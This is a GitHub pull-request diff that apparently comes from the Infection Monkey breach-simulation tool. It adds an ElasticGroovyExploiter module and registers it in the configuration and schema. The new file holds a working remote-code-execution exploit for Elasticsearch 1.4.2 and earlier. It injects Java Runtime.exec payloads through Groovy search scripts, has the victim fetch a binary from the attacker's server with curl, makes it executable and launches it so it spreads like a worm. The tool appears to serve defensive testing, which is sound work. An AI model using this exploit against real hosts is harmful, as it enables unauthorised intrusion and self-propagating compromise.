Merge pull request #51 from guardicore/feature/elasticgroovy

Feature/elasticgroovy
This commit is contained in:
itaymmguardicore 2017-09-27 15:41:40 +03:00 committed by GitHub
commit 9242fe3232
5 changed files with 253 additions and 4 deletions

View File

@ -6,7 +6,7 @@ from abc import ABCMeta
from itertools import product
from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter, ShellShockExploiter, \
SambaCryExploiter
SambaCryExploiter, ElasticGroovyExploiter
from network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger, MySQLFinger, ElasticFinger
from network.range import FixedRange
@ -146,6 +146,7 @@ class Configuration(object):
finger_classes = [SMBFinger, SSHFinger, PingScanner, HTTPFinger, MySQLFinger, ElasticFinger]
exploiter_classes = [SmbExploiter, WmiExploiter, RdpExploiter, Ms08_067_Exploiter, # Windows exploits
SSHExploiter, ShellShockExploiter, SambaCryExploiter, # Linux
ElasticGroovyExploiter, # multi
]
# how many victims to look for in a single scan iteration

View File

@ -34,7 +34,9 @@
"WmiExploiter",
"RdpExploiter",
"Ms08_067_Exploiter",
"ShellShockExploiter"
"ShellShockExploiter",
"ElasticGroovyExploiter",
"SambaCryExploiter",
],
"finger_classes": [
"SSHFinger",

View File

@ -14,6 +14,7 @@ class HostExploiter(object):
def exploit_host(self, host, depth=-1, src_path=None):
raise NotImplementedError()
from win_ms08_067 import Ms08_067_Exploiter
from wmiexec import WmiExploiter
from smbexec import SmbExploiter
@ -21,3 +22,4 @@ from rdpgrinder import RdpExploiter
from sshexec import SSHExploiter
from shellshock import ShellShockExploiter
from sambacry import SambaCryExploiter
from elasticgroovy import ElasticGroovyExploiter

View File

@ -0,0 +1,236 @@
"""
Implementation is based on elastic search groovy exploit by metasploit
https://github.com/rapid7/metasploit-framework/blob/12198a088132f047e0a86724bc5ebba92a73ac66/modules/exploits/multi/elasticsearch/search_groovy_script.rb
Max vulnerable elasticsearch version is "1.4.2"
"""
import json
import logging
import requests
from exploit import HostExploiter
from model import MONKEY_ARG
from model.host import VictimHost
from network.elasticfinger import ES_SERVICE, ES_PORT
from tools import get_target_monkey, HTTPTools, build_monkey_commandline
__author__ = 'danielg'
LOG = logging.getLogger(__name__)
class ElasticGroovyExploiter(HostExploiter):
_target_os_type = ['linux', 'windows']
# attack URLs
BASE_URL = 'http://%s:%s/_search?pretty'
MONKEY_RESULT_FIELD = "monkey_result"
GENERIC_QUERY = '''{"size":1, "script_fields":{"%s": {"script": "%%s"}}}''' % MONKEY_RESULT_FIELD
JAVA_IS_VULNERABLE = GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.Runtime\\")'
JAVA_GET_TMP_DIR = GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.System\\").getProperty(\\"java.io.tmpdir\\")'
JAVA_GET_OS = GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.System\\").getProperty(\\"os.name\\")'
JAVA_CMD = GENERIC_QUERY % """java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(\\"%s\\").getText()"""
JAVA_GET_BIT_LINUX = JAVA_CMD % '/bin/uname -m'
DOWNLOAD_TIMEOUT = 300 # copied from rdpgrinder
def __init__(self):
self._config = __import__('config').WormConfiguration
self.skip_exist = self._config.skip_exploit_if_file_exist
def is_os_supported(self, host):
"""
Checks if the host is vulnerable.
Either using version string or by trying to attack
:param host: VictimHost
:return:
"""
if host.os.get('type') not in self._target_os_type:
return False
if ES_SERVICE not in host.services:
LOG.info("Host: %s doesn't have ES open" % host.ip_addr)
return False
major, minor, build = host.services[ES_SERVICE]['version'].split('.')
if major > 1:
return False
if major == 1 and minor > 4:
return False
if major == 1 and minor == 4 and build > 2:
return False
return self.is_vulnerable(host)
def exploit_host(self, host, depth=-1, src_path=None):
assert isinstance(host, VictimHost)
real_host_os = self.get_host_os(host)
host.os['type'] = str(real_host_os.lower()) # strip unicode characters
if 'linux' in host.os['type']:
return self.exploit_host_linux(host, depth, src_path)
else:
return self.exploit_host_windows(host, depth, src_path)
def exploit_host_windows(self, host, depth=-1, src_path=None):
"""
TODO
Will exploit windows similar to smbexec
:return:
"""
return False
def exploit_host_linux(self, host, depth=-1, src_path=None):
"""
Exploits linux using similar flow to sshexec and shellshock.
Meaning run remote commands to copy files over HTTP
:return:
"""
uname_machine = str(self.get_linux_arch(host))
if len(uname_machine) != 0:
host.os['machine'] = str(uname_machine.lower().strip()) # strip unicode characters
dropper_target_path_linux = self._config.dropper_target_path_linux
if self.skip_exist and (self.check_if_remote_file_exists_linux(host, dropper_target_path_linux)):
LOG.info("Host %s was already infected under the current configuration, done" % host)
return True # return already infected
src_path = src_path or get_target_monkey(host)
if not src_path:
LOG.info("Can't find suitable monkey executable for host %r", host)
return False
if not self.download_file_in_linux(host, src_path, target_path=dropper_target_path_linux):
return False
self.set_file_executable_linux(host, dropper_target_path_linux)
self.run_monkey_linux(host, dropper_target_path_linux, depth)
if not (self.check_if_remote_file_exists_linux(host, self._config.monkey_log_path_linux)):
LOG.info("Log file does not exist, monkey might not have run")
return True
def run_monkey_linux(self, host, dropper_target_path_linux, depth):
"""
Runs the monkey
"""
cmdline = "%s %s" % (dropper_target_path_linux, MONKEY_ARG)
cmdline += build_monkey_commandline(host, depth - 1) + ' & '
self.run_shell_command(host, cmdline)
LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",
self._config.dropper_target_path_linux, host, cmdline)
if not (self.check_if_remote_file_exists_linux(host, self._config.monkey_log_path_linux)):
LOG.info("Log file does not exist, monkey might not have run")
def download_file_in_linux(self, host, src_path, target_path):
"""
Downloads a file in target machine using curl to the given target path
:param host:
:param src_path: File path relative to the monkey
:param target_path: Target path in linux victim
:return: T/F
"""
http_path, http_thread = HTTPTools.create_transfer(host, src_path)
if not http_path:
LOG.debug("Exploiter %s failed, http transfer creation failed." % self.__name__)
return False
download_command = '/usr/bin/curl %s -o %s' % (
http_path, target_path)
self.run_shell_command(host, download_command)
http_thread.join(self.DOWNLOAD_TIMEOUT)
http_thread.stop()
if (http_thread.downloads != 1) or (
'ELF' not in
self.check_if_remote_file_exists_linux(host, target_path)):
LOG.debug("Exploiter %s failed, http download failed." % self.__class__.__name__)
return False
return True
def set_file_executable_linux(self, host, file_path):
"""
Marks the given file as executable using chmod
:return: Nothing
"""
chmod = '/bin/chmod +x %s' % file_path
self.run_shell_command(host, chmod)
LOG.info("Marked file %s on host %s as executable", file_path, host)
def check_if_remote_file_exists_linux(self, host, file_path):
"""
:return:
"""
cmdline = '/usr/bin/head -c 4 %s' % file_path
return self.run_shell_command(host, cmdline)
def run_shell_command(self, host, command):
"""
Runs a single shell command and returns the result.
"""
payload = self.JAVA_CMD % command
result = self.get_command_result(host, payload)
LOG.info("Ran the command %s on host %s", command, payload)
return result
def get_linux_arch(self, host):
"""
Returns host as per uname -m
"""
return self.get_command_result(host, self.JAVA_GET_BIT_LINUX)
def get_host_tempdir(self, host):
"""
Returns where to write our file given our permissions
:return: Temp directory path in target host
"""
return self.get_command_result(host, self.JAVA_GET_TMP_DIR)
def get_host_os(self, host):
"""
:return: target OS
"""
return self.get_command_result(host, self.JAVA_GET_OS)
def is_vulnerable(self, host):
"""
Checks if a given elasticsearch host is vulnerable to the groovy attack
:param host: Host, with an open 9200 port
:return: True/False
"""
result_text = self.get_command_result(host, self.JAVA_IS_VULNERABLE)
return 'java.lang.Runtime' in result_text
def get_command_result(self, host, payload):
"""
Gets the result of an attack payload with a single return value.
:param host: VictimHost configuration
:param payload: Payload that fits the GENERIC_QUERY template.
"""
result = self.attack_query(host, payload)
if not result: # not vulnerable
return False
return result[0]
def attack_query(self, host, payload):
"""
Wraps the requests query and the JSON parsing.
Just reduce opportunity for bugs
:return: List of data fields or None
"""
response = requests.get(self.attack_url(host), data=payload)
result = self.get_results(response)
return result
def attack_url(self, host):
"""
Composes the URL to attack per host IP and port.
:return: Elasticsearch vulnerable URL
"""
return self.BASE_URL % (host.ip_addr, ES_PORT)
def get_results(self, response):
"""
Extracts the result data from our attack
:return: List of data fields or None
"""
try:
json_resp = json.loads(response.text)
return json_resp['hits']['hits'][0]['fields'][self.MONKEY_RESULT_FIELD]
except KeyError:
return None

View File

@ -62,7 +62,14 @@ SCHEMA = {
"SambaCryExploiter"
],
"title": "SambaCryExploiter"
}
},
{
"type": "string",
"enum": [
"ElasticGroovyExploiter"
],
"title": "ElasticGroovyExploiter"
},
]
},
"finger_classes": {
@ -320,7 +327,8 @@ SCHEMA = {
"Ms08_067_Exploiter",
"SSHExploiter",
"ShellShockExploiter",
"SambaCryExploiter"
"SambaCryExploiter",
"ElasticGroovyExploiter"
],
"description": "Determines which classes to use for exploiting"
}